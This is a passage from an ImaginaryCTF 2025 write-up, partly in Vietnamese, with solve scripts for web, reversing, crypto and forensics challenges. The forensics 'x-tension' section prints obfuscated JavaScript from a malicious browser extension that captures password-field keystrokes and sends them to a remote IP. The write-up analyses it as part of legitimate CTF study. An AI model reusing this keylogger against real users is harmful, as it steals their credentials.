# Imaginary CTF 2025 ## Web ### certificate >As a thank you for playing our CTF, we're giving out participation certificates! Each one comes with a custom flag, but I bet you can't get the flag belonging to Eth007! https://eth007.me/cert/ author: Eth007 This is the website interface: ![image](https://hackmd.io/_uploads/r1x0WVjcex.png) Press F12 and I have this: ![image](https://hackmd.io/_uploads/HyNfzVjqxl.png) ```html= const nameInput=document.getElementById('name'); const affInput=document.getElementById('affiliation'); const dateInput=document.getElementById('date'); const styleSelect=document.getElementById('style'); const svgHolder=document.getElementById('svgHolder'); const paperW=1122, paperH=794; const logoUrl = 'https://2025.imaginaryctf.org/img/logo.png'; (function(){const d=new Date();dateInput.value=d.toISOString().slice(0,10)})(); function getStyleColors(style){ if(style==='modern') return {bg:'#f7fff9', primary:'#0f766e', accent:'#0ea5a4', text:'#073040'}; if(style==='dark') return {bg:'#0b1220', primary:'#0f1724', accent:'#8b5cf6', text:'#e6eef8'}; return {bg:'#fbfdff', primary:'#eaf4ff', accent:'#1f6feb', text:'#07203a'}; } function escapeXml(s){return String(s||"").replace(/[&<>'"]/g,c=>({"&":"&amp;","<":"&lt;",">":"&gt;","'":"&apos;",'"':"&quot;"}[c]))} function customHash(str){ let h = 1337; for (let i=0;i<str.length;i++){ h = (h * 31 + str.charCodeAt(i)) ^ (h >>> 7); h = h >>> 0; // force unsigned } return h.toString(16); } function makeFlag(name){ const clean = name.trim() || "anon"; const h = customHash(clean); return `ictf{${h}}`; } function buildCertificateSVG({participant,affiliation,date,styleKey}) { const colors = getStyleColors(styleKey); participant = escapeXml(participant||"—"); affiliation = escapeXml(affiliation||""); date = escapeXml(date||""); return ` <svg xmlns="http://www.w3.org/2000/svg" width="${paperW}" height="${paperH}" viewBox="0 0 ${paperW} ${paperH}"> <desc>${makeFlag(participant)}</desc> <rect width="100%" height="100%" fill="${colors.bg}"/> <rect x="40" y="40" width="${paperW-80}" height="${paperH-80}" rx="18" fill="${colors.primary}" opacity="0.08"/> <rect x="60" y="60" width="${paperW-120}" height="${paperH-120}" rx="14" fill="#ffffff"/> <image href="${logoUrl}" x="${paperW/2-100}" y="80" width="200" height="200" preserveAspectRatio="xMidYMid meet"/> <text x="${paperW/2}" y="340" text-anchor="middle" font-family="Georgia, serif" font-size="34" fill="${colors.text}">Certificate of Participation</text> <text x="${paperW/2}" y="380" text-anchor="middle" font-size="16" fill="${colors.text}" opacity="0.7">This certifies that</text> <text x="${paperW/2}" y="460" text-anchor="middle" font-size="48" font-weight="700" font-family="'Segoe UI',sans-serif" fill="${colors.text}">${participant}</text> <text x="${paperW/2}" y="505" text-anchor="middle" font-size="18" fill="${colors.text}" opacity="0.7">${affiliation}</text> <text x="${paperW/2}" y="560" text-anchor="middle" font-family="Georgia, serif" font-size="16" fill="${colors.text}" opacity="0.8"> For popping shells, cracking codes, and capturing flags in ImaginaryCTF 2025. </text> <text x="${paperW/2}" y="620" text-anchor="middle" font-family="Roboto, sans-serif" font-size="14" fill="${colors.text}" opacity="0.7">Date: ${date}</text> </svg>`.trim(); } function renderPreview(){ var name = nameInput.value.trim(); if (name == "Eth007") { name = "REDACTED" } const svg = buildCertificateSVG({ participant: name || "Participant Name", affiliation: affInput.value.trim() || "Participant", date: dateInput.value, styleKey: styleSelect.value }); svgHolder.innerHTML = svg; svgHolder.dataset.currentSvg = svg; } function downloadSvgFile(filename, svgText){ const blob = new Blob([svgText], {type: "image/svg+xml;charset=utf-8"}); const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = filename; document.body.appendChild(a); a.click(); a.remove(); setTimeout(()=>URL.revokeObjectURL(url), 1000); } document.getElementById('generate').addEventListener('click', e=>{ e.preventDefault(); renderPreview(); }); document.getElementById('downloadSvg').addEventListener('click', e=>{ e.preventDefault(); const svg = svgHolder.dataset.currentSvg; const nameFile = (nameInput.value.trim() || 'certificate').replace(/\s+/g,'_').toLowerCase(); downloadSvgFile(`${nameFile}_imaginaryctf2025.svg`, svg); }); document.getElementById('printBtn').addEventListener('click', e=>{ e.preventDefault(); window.print(); }); renderPreview(); ``` With each name we enter, it will hash each flag. But when the name is `Eth007` it will change to `REDACTED` so we can have real flag from `Eth007`. This is functions hash: ```html= function customHash(str){ let h = 1337; for (let i=0;i<str.length;i++){ h = (h * 31 + str.charCodeAt(i)) ^ (h >>> 7); h = h >>> 0; } return h.toString(16); } function makeFlag(name){ const clean = name.trim() || "anon"; const h = customHash(clean); return `ictf{${h}}`; } ``` This is the first when we not enter the name. ![image](https://hackmd.io/_uploads/HkkLNNo9gx.png) Now we will use this code to hash if name = "Eth007" **FLag: ictf{7b4b3965}** ## Rev Rev challs are so boring T_T, i wasted > 16 hours on a guessy challenge. The first 4 challenges are GPT solvable (i hate chatGPT btw). I won't go into details because its very easy T_T. ### comparing ```python #!/usr/bin/python3 from pwn import * lines = open('output.txt', 'r').read().split('\n')[:-1] def isEven(arr): return arr[:4] == arr[-4:][::-1] arr = [] mp = [] for _ in range(len(lines)): line = lines[_] if isEven(line): i = 0 while i < len(line) // 2 and line[i] == line[-1 - i]: i += 1 pos = int(line[i: -i], 10) # print(line, pos) line = line[:i] x = 0 for i in line: x = x * 10 + (ord(i) - 48) if x >= 32 and x < 127: arr.append(x) x = 0 arr.append(pos) else: i = 0 cnt = 0 while i < len(line): x = x * 10 + ord(line[i]) - 48 if x >= 32 and x < 127: arr.append(x) x = 0 cnt += 1 i += 1 if cnt == 2: break arr.append(int(line[i:], 10)) ans = [0] * 100 for i in range(0, len(arr), 6): print(arr[i: i + 6]) ans[arr[i + 2] * 2] = arr[i] ans[arr[i + 2] * 2 + 1] = arr[i + 3] ans[arr[i + 5] * 2] = arr[i + 1] ans[arr[i + 5] * 2 + 1] = arr[i + 4] print(bytes(ans)) ``` ### weird-app ```python #!/usr/bin/python3 from pwn import * meow_1 = "abcdefghijklmnopqrstuvwxyz" meow_2 = "0123456789" meow_3 = "!@#$%^&*()_+{}[]|" # Input : abc123!@# # Output: ace703#|] n1 = len(meow_1) n2 = len(meow_2) n3 = len(meow_3) def enc(flag): for i in range(len(flag)): if flag[i] in meow_1: a = meow_1.index(flag[i]) - i print(meow_1[a % n1], end ='') elif flag[i] in meow_2: b = meow_2.index(flag[i]) - i * 2 print(meow_2[b % n2], end = '') elif flag[i] in meow_3: c = meow_3.index(flag[i]) - i * i print(meow_3[c % n3], end = '') test = 'idvi+1{s6e3{)arg2zv[moqa905+' print(enc(test)) ``` ### nimrod I lost my solve script :))) My solution: - Non stripped binary -> very easy - It use xor encode or sth ? Just reverse it ### stacked Just parse all function name and reverse it, if you cannot, use GPT. ## Pwn ## Crypto ### leaky-rsa :::success ![image](https://hackmd.io/_uploads/HJRRJ-hqxl.png) ::: ```python= # chall.py #!/usr/local/bin/python3 import json from Crypto.Util.number import getPrime from Crypto.Cipher import AES from Crypto.Util.Padding import pad from secrets import randbelow, token_bytes from hashlib import sha256 with open('flag.txt') as f: flag = f.read() p = getPrime(512) q = getPrime(512) n = p * q e = 65537 d = pow(e, -1, (p-1)*(q-1)) key_m = randbelow(n) key_c = pow(key_m, e, n) key = sha256(str(key_m).encode()).digest()[:16] iv = token_bytes(16) ct = AES.new(key, AES.MODE_CBC, IV=iv).encrypt(pad(flag.encode(), 16)) print(json.dumps({'n': n, 'c': key_c, 'iv': iv.hex(), 'ct': ct.hex()})) def get_bit(n, k): return (n >> k) % 2 for _ in range(1024): idx = randbelow(4) print(json.dumps({'idx': idx})) try: response = json.loads(input()) c = response['c'] % n assert c != key_c m = pow(c, d, n) b = get_bit(m, idx) except (json.JSONDecodeError, TypeError, KeyError, ValueError, AssertionError): b = 2 print(json.dumps({'b': b})) print(key_m) ``` #### Phân tích và lời giải Nhìn sơ qua thì đây là một bài ứng dụng thuật AES-RSA Sơ đồ chính của thử thách là: Random `key_m` bé hơn n -> dùng `key_m` mã hóa flag thành `ct` bằng AES mode CBC. Mặt khác: Dùng RSA mã hóa `key_m` thành `key_c` Cuối cùng tiết lộ `n, key_c, iv, ct` và cho ta gửi 1024 bản mã. Với mỗi bản mã, tiết lộ 1 bit nằm trong khoảng vị trí thứ 0 đến 3 từ phải qua sau khi giải mã với thuật RSA. Tuy nhiên trong bài này, `key_m` đã bị leak khi hoàn thành 1024 bản mã và thế là ta có thể giải mã được AES mode CBC ngay ```python= # solution.py from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from hashlib import sha256 from pwn import * import json context.log_level = 'debug' # io = process(['python3', 'chall.py']) io = remote("leaky-rsa.chal.imaginaryctf.org", 1337) io.recvline() data = json.loads(io.recvline()) n, iv, ct, c = data['n'], bytes.fromhex(data['iv']), bytes.fromhex(data['ct']), data['c'] count = 0 for _ in range(1024): idx = json.loads(io.recvline())['idx'] send = json.dumps({'c': 0}).encode() io.sendline(send) b = json.loads(io.recvline())['b'] count += 1 print(count) key_m = int(io.recvline().decode()) key = sha256(str(key_m).encode()).digest()[:16] flag = unpad(AES.new(key, AES.MODE_CBC, IV=iv).decrypt(ct), 16).decode() print(flag) ``` Flag: ictf{p13cin9_7h3_b1t5_t0g37her_3f0068c1b9be2547ada52a8020420fb0} ### zkpow :::success ![image](https://hackmd.io/_uploads/rkNys-hcgx.png) ::: ```python= # zkpow.py #!/usr/bin/env python3 import hashlib, secrets, json, time # --- Utility functions --- def sha256(b: bytes) -> bytes: return hashlib.sha256(b).digest() def hexf(b: bytes) -> str: return b.hex() def commit_vertex(v: int, color_label: int, nonce: bytes) -> bytes: return sha256(b"vertex:" + str(v).encode() + b":" + str(color_label).encode() + b":" + nonce) # --- Merkle tree helpers --- def build_merkle_tree(leaves_hex): leaves = [bytes.fromhex(h) for h in leaves_hex] if len(leaves) == 0: return hexf(sha256(b"")), [[sha256(b"")]] levels = [leaves] cur = leaves while len(cur) > 1: nxt = [] for i in range(0, len(cur), 2): left = cur[i] right = cur[i+1] if i+1 < len(cur) else left nxt.append(sha256(left + right)) levels.append(nxt) cur = nxt return hexf(levels[-1][0]), levels def merkle_proof_for_index(levels, index): proof = [] idx = index for level in levels[:-1]: if idx % 2 == 0: sib_index = idx + 1 if idx + 1 < len(level) else idx sibling = level[sib_index] proof.append((hexf(sibling), False)) else: sib_index = idx - 1 sibling = level[sib_index] proof.append((hexf(sibling), True)) idx //= 2 return proof def verify_merkle_proof(root_hex, leaf_hex, proof): cur = bytes.fromhex(leaf_hex) for sibling_hex, sibling_is_left in proof: sibling = bytes.fromhex(sibling_hex) if sibling_is_left: cur = sha256(sibling + cur) else: cur = sha256(cur + sibling) return hexf(cur) == root_hex # --- Fiat-Shamir edge selection --- def fiat_shamir_select_index(root_hex, m): return int.from_bytes(hashlib.sha256(root_hex.encode()).digest(), "big") % m # --- Configurable graph generator --- def make_graph(n_vertices=1000, p_good=0.75, p_bad=0.003): coloring = [secrets.randbelow(3) for _ in range(n_vertices)] parts = {0: [], 1: [], 2: []} for v, c in enumerate(coloring): parts[c].append(v) edges = [] for c1 in range(3): for c2 in range(c1+1, 3): A, B = parts[c1], parts[c2] for u in A: for v in B: if secrets.randbelow(1_000_000) / 1_000_000 < p_good: edges.append((u, v)) # spice things up :) for c in range(3): part = parts[c] for i in range(len(part)): for j in range(i+1, len(part)): if secrets.randbelow(1_000_000) / 1_000_000 < p_bad: edges.append((part[i], part[j])) return edges, n_vertices # --- zkPoW prover --- def zkpow_prove(edges, coloring, n_vertices=1000): verts = list(range(n_vertices)) # permutation + colors perm = [0,1,2] secrets.SystemRandom().shuffle(perm) permuted = {v: perm[coloring[v]] for v in verts} nonces = {v: secrets.token_bytes(16) for v in verts} leaves_hex = [hexf(commit_vertex(v, permuted[v], nonces[v])) for v in verts] merkle_root, levels = build_merkle_tree(leaves_hex) # pick single edge idx = fiat_shamir_select_index(merkle_root, len(edges)) u,v = edges[idx] # prepare openings openings = {} for w in (u,v): openings[w] = { "color": permuted[w], "nonce": hexf(nonces[w]), "merkle_proof": merkle_proof_for_index(levels, w) } proof = { "merkle_root": merkle_root, "openings": openings, } return json.dumps(proof) # --- zkPoW verifier --- def zkpow_verify(proof, edges): merkle_root = proof["merkle_root"] openings = proof["openings"] # verify Merkle proofs for v_s, opened in openings.items(): v = int(v_s) leaf_hex = hexf(commit_vertex(v, opened["color"], bytes.fromhex(opened["nonce"]))) if not verify_merkle_proof(merkle_root, leaf_hex, opened["merkle_proof"]): print(f"Merkle proof failed for vertex {v}") return False # recompute chosen edge idx = fiat_shamir_select_index(merkle_root, len(edges)) u,v = map(str, edges[idx]) if u not in openings or v not in openings: print(f"Missing opening for endpoints of edge {idx}") return False if openings[u]["color"] == openings[v]["color"]: print(f"Edge {idx} endpoints same color -> invalid") return False return True def main(): print("==zk-proof-of-work: enabled==") for i in range(50): print(f"==round {i}==") edges, n_vertices = make_graph(i * 33 + 10, 0.8) print(json.dumps({"n": n_vertices, "edges": edges})) start = time.time() proof = json.loads(input("proof: ")) end = time.time() if end - start > 5: print("too slow!") exit(-1) ok = zkpow_verify(proof, edges) if ok: print("verified!") else: print("failed!") exit(-1) flag = open("flag.txt").read() print("flag:", flag) if __name__ == "__main__": main() ``` #### Phân tích và lời giải Ở thử thách này, ta không cần phải tô 3 màu cho đồ thị. Hàm `verify` chỉ kiểm tra hai điểm cuối của một cạnh, và chỉ số cạnh đó là H(merkle_root) % m. Vì ta kiểm soát tất cả các nonce (vì là gốc Merkle) nên có thể thử nonce của một lá cho đến khi thử thách trỏ đến một cạnh có các điểm cuối có màu khác nhau theo bất kỳ màu ngẫu nhiên nào ta chọn. Điều này làm cho mỗi vòng trở nên đơn giản, không cần `backtracking` mà chỉ cần một vài lần băm. Sau đây là các bước giải: 1. Chọn một màu 3 ngẫu nhiên (bất kỳ màu nào cũng được). 2. Xây dựng cây Merkle một lần. 3. Liên tục điều chỉnh nonce của một lá và tính toán lại gốc Merkle theo từng bước (O(log n) mỗi lần thử). 4. Dừng ngay khi H(root) % m chọn một cạnh có màu khác nhau. 5. Gán hai đỉnh đó cho `openings` ```python= # solution.py from pwn import * import json, hashlib, secrets # ===== Challenge-compatible helpers ===== def sha256(b: bytes) -> bytes: return hashlib.sha256(b).digest() def commit_vertex_bytes(v: int, color_label: int, nonce: bytes) -> bytes: # EXACT match to the server's commit function (but returns raw bytes) return sha256(b"vertex:" + str(v).encode() + b":" + str(color_label).encode() + b":" + nonce) def fiat_shamir_select_index(root_hex: str, m: int) -> int: return int.from_bytes(hashlib.sha256(root_hex.encode()).digest(), "big") % m # ===== Merkle (bytes throughout, then hex only when serializing the proof) ===== def build_merkle_tree_bytes(leaves): """ leaves: list[bytes] returns: (root_bytes, levels) levels[0] = leaves (bytes) levels[h] = list of bytes at height h """ if not leaves: z = sha256(b"") return z, [[z]] levels = [list(leaves)] cur = levels[0] while len(cur) > 1: nxt = [] for i in range(0, len(cur), 2): left = cur[i] right = cur[i+1] if i+1 < len(cur) else left nxt.append(sha256(left + right)) levels.append(nxt) cur = nxt return levels[-1][0], levels def update_leaf_inplace(levels, index, new_leaf): """ Update levels in place after changing one leaf. O(log n) hashes up to the root, honoring the 'duplicate last' rule. """ levels[0][index] = new_leaf idx = index for h in range(0, len(levels) - 1): level = levels[h] # figure siblings and parent if idx % 2 == 0: right_idx = idx + 1 if idx + 1 < len(level) else idx left = level[idx] right = level[right_idx] parent = sha256(left + right) else: left_idx = idx - 1 left = level[left_idx] right = level[idx] parent = sha256(left + right) # write parent levels[h + 1][idx // 2] = parent idx //= 2 def merkle_proof_for_index(levels, index): """ Returns proof as list of (sibling_hex, sibling_is_left_bool), exactly like the challenge expects. """ proof = [] idx = index for level in levels[:-1]: if idx % 2 == 0: sib_index = idx + 1 if idx + 1 < len(level) else idx sibling = level[sib_index] proof.append((sibling.hex(), False)) # sibling on the right else: sib_index = idx - 1 sibling = level[sib_index] proof.append((sibling.hex(), True)) # sibling on the left idx //= 2 return proof # ===== Core: nonce grinding (no coloring solve needed) ===== def build_and_print_proof(graph_line: bytes) -> str: obj = json.loads(graph_line.decode()) n = obj["n"] edges = obj["edges"] # list of [u, v] m = len(edges) # 1) Any random 3-coloring works (we only need one good edge per round) rng = secrets.SystemRandom() colors = [rng.randrange(3) for _ in range(n)] # 2) Random nonces for all vertices; build initial tree once nonces = [secrets.token_bytes(16) for _ in range(n)] leaves = [commit_vertex_bytes(v, colors[v], nonces[v]) for v in range(n)] root_bytes, levels = build_merkle_tree_bytes(leaves) # 3) Grind a SINGLE leaf's nonce until H(root) % m hits a "good" edge pivot = 0 # any index works # Keep a small safety cap; expected tries ~ 1.5 because ~2/3 edges are "good" max_tries = 4096 for _ in range(max_tries): # new nonce for pivot leaf nonces[pivot] = secrets.token_bytes(16) new_leaf = commit_vertex_bytes(pivot, colors[pivot], nonces[pivot]) update_leaf_inplace(levels, pivot, new_leaf) root_hex = levels[-1][0].hex() idx = fiat_shamir_select_index(root_hex, m) u, v = edges[idx] if colors[u] != colors[v]: # 4) Prepare openings for the challenged edge only openings = {} for w in (u, v): openings[str(w)] = { "color": colors[w], "nonce": nonces[w].hex(), "merkle_proof": merkle_proof_for_index(levels, w) } proof = { "merkle_root": root_hex, "openings": openings } return json.dumps(proof) # In practice we should never get here; fallback (recolor & retry once) colors = [rng.randrange(3) for _ in range(n)] nonces = [secrets.token_bytes(16) for _ in range(n)] leaves = [commit_vertex_bytes(v, colors[v], nonces[v]) for v in range(n)] root_bytes, levels = build_merkle_tree_bytes(leaves) for _ in range(max_tries): nonces[pivot] = secrets.token_bytes(16) new_leaf = commit_vertex_bytes(pivot, colors[pivot], nonces[pivot]) update_leaf_inplace(levels, pivot, new_leaf) root_hex = levels[-1][0].hex() idx = fiat_shamir_select_index(root_hex, m) u, v = edges[idx] if colors[u] != colors[v]: openings = {} for w in (u, v): openings[str(w)] = { "color": colors[w], "nonce": nonces[w].hex(), "merkle_proof": merkle_proof_for_index(levels, w) } proof = { "merkle_root": root_hex, "openings": openings } return json.dumps(proof) # If still unlucky, bail so you can inspect raise RuntimeError("Grinding failed unexpectedly") # ===== Runner ===== def main(): context.log_level = "error" # keep pwntools quiet & fast # io = process(['python3', 'zkpow.py']) io = remote("zkpow.chal.imaginaryctf.org", 1337) # banner io.recvline() io.recvline() for i in range(50): io.recvline() # "==round i==" graph_line = io.recvline() # JSON line with n & edges proof = build_and_print_proof(graph_line) io.sendline(proof.encode()) res = io.recvline().decode().strip() # print progress without slowing down print(f"Round {i+1}: {res}") # flag print(io.recvline().decode().strip()) if __name__ == "__main__": main() ``` Flag: ictf{zero_knowledge_proof_more_like_i_have_zero_knowledge_of_how_to_prove_this} ### scalar-division :::success ![image](https://hackmd.io/_uploads/SkB5UpJigx.png) ::: ```python= # chall.sage assert ((E:=EllipticCurve(GF(0xbde3c425157a83cbe69cee172d27e2ef9c1bd754ff052d4e7e6a26074efcea673eab9438dc45e0786c4ea54a89f9079ddb21),[5,7])).order().factor(limit=2**10)[3][0]*E.lift_x(ZZ(int.from_bytes((flag:=input('ictf{')).encode())))).x() == 0x686be42f9c3f431296a928c288145a847364bb259c9f5738270d48a7fba035377cc23b27f69d6ae0fad76d745fab25d504d5 and not print('\033[53C\033[1A}') ``` #### Phân tích và lời giải `assert` kiểm tra: nếu điểm có hoành độ là `Q.xy()[0]` lift và nhân với k thì nó phải bằng target_x. Tức là `assert(k * lift_x(x_Q)).x() == target_x`. Ý tưởng chính: Nguyên lý dùng ở đây là: nếu thứ tự nhóm điểm của elliptic curve là n và n có một nhân tử là k, thì phép nhân $[k]:P\rightarrow kP$ không phải là đơn ánh mà nó tồn tại một nhân tử (kernel) thứ bậc k. Bằng cách dựng $Q = k^{-1} * R$ và sau đó cộng mọi phần tử thuộc kernel (jS), ta thu được nhiều $x_Q$ sao cho khi nhân k vẫn trả về R (tức là target_x). ```python= # solution.py from sage.all import * from Crypto.Util.number import long_to_bytes import string p = 0xbde3c425157a83cbe69cee172d27e2ef9c1bd754ff052d4e7e6a26074efcea673eab9438dc45e0786c4ea54a89f9079ddb21 E = EllipticCurve(GF(p), [5,7]) n = E.order() fac = n.factor(limit=2**10) k = int(fac[3][0]) target_x = 0x686be42f9c3f431296a928c288145a847364bb259c9f5738270d48a7fba035377cc23b27f69d6ae0fad76d745fab25d504d5 m = n // k R = E.lift_x(ZZ(target_x)) k_inv_mod_m = inverse_mod(k, m) Q = k_inv_mod_m * R assert ((E:=EllipticCurve(GF(0xbde3c425157a83cbe69cee172d27e2ef9c1bd754ff052d4e7e6a26074efcea673eab9438dc45e0786c4ea54a89f9079ddb21),[5,7])).order().factor(limit=2**10)[3][0]*E.lift_x(ZZ(Q.xy()[0]))).x() == 0x686be42f9c3f431296a928c288145a847364bb259c9f5738270d48a7fba035377cc23b27f69d6ae0fad76d745fab25d504d5 and not print('\033[53C\033[1A}') # S được chọn sao cho nhóm con sinh bởi S có kích thước k (tức là kS = O) S = E.lift_x(ZZ(1908615609373310359393680708495309867245478461545179513106385994207950225114719305735749421285909081171302218073610177595)) lst = [] for j in range(k): Pj = Q + j * S x = int(Pj.xy()[0]) b = long_to_bytes(x).decode('utf-8', errors='ignore') if all(ch in string.printable for ch in b): print(b) ``` Flag: ictf{mayb3_d0nt_m4ke_th3_sca1ar_a_f4ctor_0f_the_ord3r} ## Foren ### Wave >Not a steg challenge i promise >Author: Eth007 This chall give me a wav file. I use command `exiftool` and have flag. ![image](https://hackmd.io/_uploads/BkVXobiqge.png) **Flag: ictf{obligatory_metadata_challenge}** ### obfuscated-1 >I installed every old software known to man... The flag is the VNC password, wrapped in ictf{}. >Author: Eth007 This chall give me folder `Users` and the request is find the VNC password. First, I check folder `Download` and I have this: ![image](https://hackmd.io/_uploads/HJNWCZj5gg.png) It's msi file to setup `Tightvnc`. `TightVNC` is a free, open-source software that allows you to control a remote computer's desktop over a network using a mouse and keyboard as if you were sitting in front of it. And when users setting the VNC password, it often save in `HKCU\SOFTWARE\TightVNC\Server` at `NTUSER.DAT`. ![image](https://hackmd.io/_uploads/SyTDJGi5el.png) Now I use `RegistryExplorer` to view `NTUSER.DAT`. ![image](https://hackmd.io/_uploads/H1uhJfo9ex.png) The password is `7E-9B-31-12-48-B7-C8-A8` but it have been encrypted DES. To decrypt, I use `vncpwd`(Link to download: https://github.com/themaoci/vncpwd) ![image](https://hackmd.io/_uploads/HJ6clzsqgl.png) **Flag: ictf{Slay4U!!}** ### x-tension >Trying to get good at something while watching youtube isn't the greatest idea... >Author: FIREPONY57 This chall give a pcapng file. Use `wireshark` to open it. Filter http protocol: ![image](https://hackmd.io/_uploads/Bk8UfMicgx.png) We can see, after the user request HTTP GET `FunnyCatPicsExtension.crx`, they continue request HTTP GET to send each hex code character. Export `FunnyCatPicsExtension.crx` to check. ![image](https://hackmd.io/_uploads/rkZB7focex.png) Use command `binwalk -e` and I have this: ![image](https://hackmd.io/_uploads/ryKPXGi5xg.png) It's a js code. ```js= function _0x1e75() { const _0x598b78 = ["940KLmqcF", "45092jwiXkN", "fromCharCode", "addEventListener", "padStart", "973KXuPbI", "28240VWxZRs", "3112764XnXYDi", "toString", "44frdLyF", "814942lZkvEV", "21078OiMojE", "getUTCMinutes", "key", "target", "927aCoiKZ", "551255yJTaff", "type", "117711JQghmv", "keydown", "charCodeAt", "length"]; _0x1e75 = function () { return _0x598b78; }; return _0x1e75(); } const _0x421cd8 = _0x16e0; function _0x16e0(_0x3b1337, _0x4a4a90) { const _0x1e75a5 = _0x1e75(); return _0x16e0 = function (_0x16e0f9, _0x124fc6) { _0x16e0f9 = _0x16e0f9 - 172; let _0x20d287 = _0x1e75a5[_0x16e0f9]; return _0x20d287; }, _0x16e0(_0x3b1337, _0x4a4a90); } (function (_0x4db7df, _0x152423) { const _0x419a6d = _0x16e0, _0x528a3a = _0x4db7df(); while (true) { try { const _0x3bd5a6 = -parseInt(_0x419a6d(172)) / 1 + parseInt(_0x419a6d(185)) / 2 + parseInt(_0x419a6d(191)) / 3 + parseInt(_0x419a6d(193)) / 4 * (-parseInt(_0x419a6d(178)) / 5) + parseInt(_0x419a6d(173)) / 6 * (parseInt(_0x419a6d(189)) / 7) + parseInt(_0x419a6d(190)) / 8 * (parseInt(_0x419a6d(177)) / 9) + -parseInt(_0x419a6d(184)) / 10 * (-parseInt(_0x419a6d(180)) / 11); if (_0x3bd5a6 === _0x152423) break; else _0x528a3a.push(_0x528a3a.shift()); } catch (_0x14838d) { _0x528a3a.push(_0x528a3a.shift()); } } }(_0x1e75, 890222)); function getKey() { const _0x5a2d05 = _0x16e0, _0x3733b8 = (new Date)[_0x5a2d05(174)](); return String[_0x5a2d05(186)](_0x3733b8 + 32); } function xorEncrypt(_0x2d1e8c, _0x3beac1) { const _0x404414 = _0x16e0; let _0x406d63 = ""; for (let _0x58a85f = 0; _0x58a85f < _0x2d1e8c[_0x404414(183)]; _0x58a85f++) { const _0x384e0a = _0x2d1e8c[_0x404414(182)](_0x58a85f), _0x4250be = _0x3beac1.charCodeAt(0), _0x4df57c = _0x384e0a ^ _0x4250be; _0x406d63 += _0x4df57c[_0x404414(192)](16)[_0x404414(188)](2, "0"); } return _0x406d63; } document[_0x421cd8(187)](_0x421cd8(181), _0x4e7994 => { const _0x39d3e2 = _0x421cd8, _0x260e7d = _0x4e7994[_0x39d3e2(176)]; if (_0x260e7d[_0x39d3e2(179)] === "password") { const _0x2c5a17 = _0x4e7994[_0x39d3e2(175)][_0x39d3e2(183)] === 1 ? _0x4e7994[_0x39d3e2(175)] : "", _0x5e96ad = getKey(), _0x5a4007 = xorEncrypt(_0x2c5a17, _0x5e96ad), _0x3a36f2 = encodeURIComponent(_0x5a4007); _0x2c5a17 && fetch("http://192.9.137.137:42552/?t=" + _0x3a36f2); } }); ``` This code will work when we typing in input type="password", it will get the key we just typed, encrypt it and send to `http://192.9.137.137:42552`. We can see them on pcapng file. This code encrypt the key by xor it(ASCII) with current UTC minute + 32. ![image](https://hackmd.io/_uploads/B1Ch4Mo5xl.png) Now we extract the cipher key and decrypt it. On file pcapng, current UTC minute when the code work is 23. ![image](https://hackmd.io/_uploads/Synorzo9ll.png) **Flag: ictf{extensions_might_just_suck}** ### thrift-store > The frontend has gone down but the store is still open, can you buy the flag? > thrift-store.chal.imaginaryctf.org:9090 > Author: Ciaran This chall give me a link to connect. About des, we know this is the store but it doesn't have front end and we will buy flag by send request to this link. Next, this chall also give me a pcapng file about testing this store in local, open to view it. ![image](https://hackmd.io/_uploads/SkCb6Go5lg.png) Now we know it use thrift protocol to operate this store. Filter thrift: ![image](https://hackmd.io/_uploads/BJ9HTMicll.png) ![image](https://hackmd.io/_uploads/Syx86zo9ll.png) There are 4 functions to operate: `getInventory`: To have list menu. `createBasket`: To create basket. `addToBasket`: To add something to basket. `Pay`: To pay. If we pay not incorrect price of items in cart, it will reply me like this: `Total does not match basket total` When we use `getInventory`, it will return struct type. Follow to `getInvetory` request but I can't know what is flag. ![image](https://hackmd.io/_uploads/BkT50Gjclx.png) I think I should check it in my machine. We have a code to get Invetory: ```python3= #!/usr/bin/env python3 # print_inventory_i64.py import uuid, thriftpy2 from thriftpy2.rpc import make_client from thriftpy2.protocol import TBinaryProtocolFactory from thriftpy2.transport import TFramedTransportFactory HOST, PORT = "thrift-store.chal.imaginaryctf.org", 9090 IDL = r""" namespace py store_inv_i64_thrift struct Item { 1:string id, 2:string name, 3:i64 priceCents } struct Inventory { 1:list<Item> items } service Store { Inventory getInventory(), } """ def load_mod(): p = f"/tmp/store_inv_i64_{uuid.uuid4().hex}.thrift" open(p, "w").write(IDL) return thriftpy2.load(p, module_name=f"store_inv_i64_{uuid.uuid4().hex}_thrift") def main(): mod = load_mod() c = make_client(mod.Store, HOST, PORT, proto_factory=TBinaryProtocolFactory(), trans_factory=TFramedTransportFactory()) inv = c.getInventory().items print(f"[*] Inventory ({len(inv)} items)") print("{:<24} {:<28} {:>8}".format("id", "name", "priceCents")) print("-"*24 + " " + "-"*28 + " " + "-"*8) for it in inv: cents = getattr(it, "priceCents", None) print("{:<24} {:<28} {:>8}".format(it.id, it.name, "" if cents is None else cents)) if __name__ == "__main__": main() ``` And I have this: ``` [*] Inventory (16 items) id name priceCents ------------------------ ---------------------------- -------- apple-red-delicious Red Delicious Apple 120 banana Banana 90 whole-milk-1l Whole Milk (1L) 250 brown-eggs-dozen Brown Eggs (Dozen) 450 bread-sourdough-loaf Sourdough Bread Loaf 500 carrots-1kg Carrots (1kg) 300 chicken-breast-500g Chicken Breast (500g) 750 rice-basmati-1kg Basmati Rice (1kg) 600 olive-oil-500ml Extra Virgin Olive Oil (500ml) 1200 cheddar-cheese-200g Cheddar Cheese (200g) 550 tomatoes-500g Tomatoes (500g) 280 onions-1kg Onions (1kg) 250 orange-juice-1l Orange Juice (1L) 400 potatoes-2kg Potatoes (2kg) 350 yogurt-plain-500g Plain Yogurt (500g) 320 flag Flag 9999 ``` Now we know price of flag is 9999 and this is the script to buy flag. ```python3= #!/usr/bin/env python3 # pay_flag_str.py import sys, uuid, thriftpy2 from thriftpy2.rpc import make_client from thriftpy2.protocol import TBinaryProtocolFactory from thriftpy2.transport import TFramedTransportFactory HOST, PORT = "thrift-store.chal.imaginaryctf.org", 9090 TOTAL_CENTS = 9999 IDL = r""" namespace py store_pay_str_only_thrift struct Basket { 1:string id } exception X1 { 1:string message } exception X2 { 1:string message } service Store { Basket createBasket() throws (1:X1 x1, 2:X2 x2), void addToBasket(1:string basketId, 2:string item) throws (1:X1 x1, 2:X2 x2), string pay(1:string basketId, 2:i64 totalCents) throws (1:X1 x1, 2:X2 x2) } """ def load_mod(): p = f"/tmp/store_pay_str_only_{uuid.uuid4().hex}.thrift" open(p, "w").write(IDL) return thriftpy2.load(p, module_name=f"store_pay_str_only_{uuid.uuid4().hex}_thrift") def main(): mod = load_mod() c = make_client(mod.Store, HOST, PORT, 